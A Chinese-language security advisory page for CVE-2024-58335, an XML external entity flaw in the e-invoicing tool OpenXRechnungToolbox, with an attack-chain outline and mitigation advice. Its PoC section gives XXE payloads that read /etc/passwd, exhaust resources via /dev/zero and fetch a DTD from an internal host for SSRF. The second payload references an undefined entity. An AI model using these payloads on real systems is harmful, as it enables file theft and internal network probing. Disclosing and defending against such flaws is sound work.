IPBUF安全漏洞报告
English
CVE-2024-58335 CVSS 5.0 中危

CVE-2024-58335 OpenXRechnungToolbox XXE漏洞

披露日期: 2025-12-24

漏洞信息

漏洞编号
CVE-2024-58335
漏洞类型
XXE注入
CVSS评分
5.0 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenXRechnungToolbox

相关标签

XXE注入XML外部实体OpenXRechnungToolbox电子发票CVE-2024-58335Java安全文件读取SSRF

漏洞概述

OpenXRechnungToolbox是一款用于处理电子发票的工具。在2024-10-05发布的3.0.0及之前版本中,存在XML外部实体注入(XXE)漏洞。漏洞位于visualization/VisualizerImpl.java文件中,由于未启用disallow-doctype-decl安全特性,导致应用在解析XML文件时允许处理DTD(文档类型定义)和外部实体。攻击者可通过构造包含恶意XML实体的文件,诱导用户处理该文件,从而实现本地文件读取、SSRF攻击或拒绝服务等危害。鉴于电子发票处理工具通常需要解析大量第三方XML文档,此漏洞对使用该工具的企业和个人用户构成中等安全风险。

技术细节

该漏洞属于经典的XML外部实体注入(XXE)漏洞。在Java的XML解析中,如果未正确配置安全特性,解析器会处理DTD并允许定义外部实体。OpenXRechnungToolbox的VisualizerImpl.java组件在初始化XML解析器时缺少以下关键配置:1) disallow-doctype-decl设置为true以禁止DTD声明;2) external-general-entities和external-parameter-entities设置为false以禁用外部实体;3) 无适当的EntityResolver限制。攻击者可以构造包含<!ENTITY>定义的恶意XML文件,通过file://、http://等协议访问系统资源或发起内部网络请求。典型的XXE Payload如:<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>,可导致敏感文件内容被读取并包含在XML响应中。

攻击链分析

STEP 1
步骤1
攻击者创建包含恶意XML实体定义的发票文件,嵌入XXE Payload
STEP 2
步骤2
诱导受害者通过OpenXRechnungToolbox打开或处理该恶意XML文件
STEP 3
步骤3
VisualizerImpl.java的XML解析器处理文件时,未禁用DTD和外部实体
STEP 4
步骤4
解析器执行外部实体引用,通过file://等协议读取本地敏感文件或发起SSRF请求
STEP 5
步骤5
敏感内容通过错误消息或输出被返回给攻击者,实现信息泄露或内网探测

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- PoC: Malicious XML file for XXE attack --> <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE invoice [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> <!ENTITY dos SYSTEM "file:///dev/zero"> ]> <invoice> <vendor>Attacker Inc.</vendor> <amount>&xxe;</amount> <ssrf>&xxe;</ssrf> </invoice> <!-- Alternative SSRF PoC --> <?xml version="1.0"?> <!DOCTYPE r [ <!ENTITY % dtd SYSTEM "http://internal.corp.local/admin/config"> %dtd; ]> <r>&exfil;</r>

影响范围

OpenXRechnungToolbox < 6c50e89 (2024-10-05之前版本)
OpenXRechnungToolbox 3.0.0及之前版本

防御指南

临时缓解措施
临时措施:在处理不可信的XML文件之前,使用XMLInputFactory配置禁用DTD和外部实体,或在应用层部署Web应用防火墙(WAF)过滤包含<!DOCTYPE和<!ENTITY的异常请求。建议尽快升级到官方修复版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表